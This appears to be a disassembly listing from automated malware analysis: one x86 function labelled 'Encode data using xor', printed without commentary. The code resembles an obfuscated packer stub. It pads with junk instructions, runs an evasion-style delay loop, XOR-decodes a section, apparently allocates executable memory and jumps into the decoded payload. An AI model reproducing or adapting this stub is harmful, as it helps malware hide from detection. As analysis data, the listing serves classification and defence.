Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x20300859
sub edx, ebx
or ebx, ebx
sub edx, ebx
popal
and ebx, ebx
sub ebx, 0x235385d4
mov edi, 0
mov esi, eax
sub edx, ecx
or ecx, ecx
dec ecx
mov ebx, esi
and edx, edx
or edx, edx
or ecx, edx
mov eax, ebx
mov ecx, edx
mov edx, ecx
inc edi
or ecx, ecx
and ecx, ecx
add ecx, ecx
cmp edi, 0x100fd96
jne 0xa789c6
not ecx
mov edx, ecx
add edx, ecx
or edx, ebx
add edx, edx
mov esi, 0xa78796
mov ebx, ecx
add eax, 0xee6871a4
add eax, eax
mov edi, 0xa7898a
add ecx, 0xbfcdf351
sub eax, 1
mov edx, dword [esi]
or ebx, ebx
add eax, 0x47155eff
and edx, 0xff
not ecx
add ebx, eax
add eax, ebx
xor dword [edi], edx
sub ebx, 0x6d760924
sub eax, 0x8c094801
sub ebx, ecx
add edi, 1
and eax, ebx
add eax, ecx
inc esi
add ecx, 0x3f3778ca
not ecx
mov ebx, 0xf6f1ac7f
cmp edi, entry0
jl 0xa78a18
sub eax, 0x27b4eaba
sub ebx, ecx
mov ebx, 0x526275ba
add ebx, ecx
and esi, esi
not esi
mov esi, 0x70e50b5e
mov ecx, 0xa7898e
add ebx, ebx
and edx, edi
mov ecx, dword [ecx]
add ebx, ebx
not ebx
or esi, ebx
mov ecx, dword [ecx]
add edx, esi
mov edi, 0xa04d8425
sub esp, 4
mov dword [esp], ecx
dec esi
mov edx, edi
not edi
mov ecx, 0xa7898a
sub ebx, 0xa9c7854f
mov edi, esi
mov ecx, dword [ecx]
sub ebx, 1
inc ebx
dec ebx
mov ecx, dword [ecx]
inc edx
or esi, edx
mov edi, edx
push 0xa78992
add esi, ebx
add edx, edi
call ecx
add esi, edx
mov edi, 0x39aa13ff
pop ecx
mov edi, 0x5cfcd101
mov edx, 0x3d2bf4c2
mov ebx, 0xd0cf2850
push 0xa7899f
add esi, 1
add edx, esi
sub esp, 4
mov dword [esp], eax
add ebx, esi
sub edi, edx
call ecx
add edx, esi
not edx
not esi
push 0x40
and esi, ebx
and ebx, edi
inc esi
push 0x3000
dec edx
and edi, ebx
sub edi, 0x3de411cd
push 0x200003f3
mov esi, edx
mov edi, esi
push 0
and edx, edx
dec ebx
call eax
add esi, esi
mov edi, ebx
add eax, 0x2000034d
or edi, esi
or esi, edx
inc edx
mov ecx, 0xa483b508
add edx, edi
add esi, edx
mov dword [eax], ecx
sub ebx, 0xda007936
and edi, ebx
mov edi, esi
mov ecx, dword [eax]
sub esi, 1
sub esi, 0x9afd0abd
cmp ecx, 0xa483b508
je 0xa78b6a
mov ecx, 0
mov byte [ecx], dl
add ebx, 0xec78811c
not esi
add ebx, 0x4820cef4
or edx, edx
sub edx, 1
mov edx, esi
add ebx, 1
mov edx, 0x46836e01
mov ecx, section..reltc
mov ebx, edx
mov ebx, edx
sub ebx, edx
mov eax, 0xa78795
dec ebx
add ebx, edx
mov esi, 0
and ebx, ebx
and edx, edx
mov edi, 0xa78796
not ebx
sub ebx, 0x837ae7f1
lea edi, [edi + esi]
and edx, edx
add edx, ebx
mov edi, dword [edi]
add ebx, ebx
inc ebx
or edx, edx
and edi, 0xff
mov ebx, edx
dec edx
inc esi
sub edx, 0x7e7b0ba0
mov edx, 0xd8ca32ca
cmp esi, 0x1f4
jne 0xa78be6
mov esi, 0
sub ebx, edx
dec edx
not ebx
sub edx, ebx
mov edx, ebx
mov ebx, 0x72add612
xor dword [ecx], edi
add ebx, 0xe9b94ef5
add edx, 1
add ecx, 2
and edx, ebx
add ebx, ebx
cmp ecx, eax
jl 0xa78ba9
sub ebx, 0xf02f5547
or edx, edx
inc edx
and edx, ebx
inc edx
mov edx, section..reltc
add edi, 1
add edi, 0xca8dcc7f
mov edi, 0x5e82ade
mov ecx, section..reltc
sub edi, 0x82c8c0f2
not edi
mov esi, edi
mov ebx, 0xa78795
add edi, 1
not edi
mov eax, 0
sub edi, 0xcb1952ee
add esi, 0x42cad06f
mov al, byte [ecx]
mov esi, 0x1b93ae4e
add esi, 0x8857cd5f
mov edi, 0x7a246891
mov byte [edx], al
and edi, edi
add esi, edi
inc edx
add edi, edi
add edi, 0x4cac3f93
mov esi, edi
add ecx, 2
and esi, edi
sub esi, 1
cmp ecx, ebx
jle 0xa78c63
inc esi
dec edi
mov edx, ebx
mov edx, ebx
dec ebx
push 0x8dc6a0
sub ebx, edx
and edx, edx
ret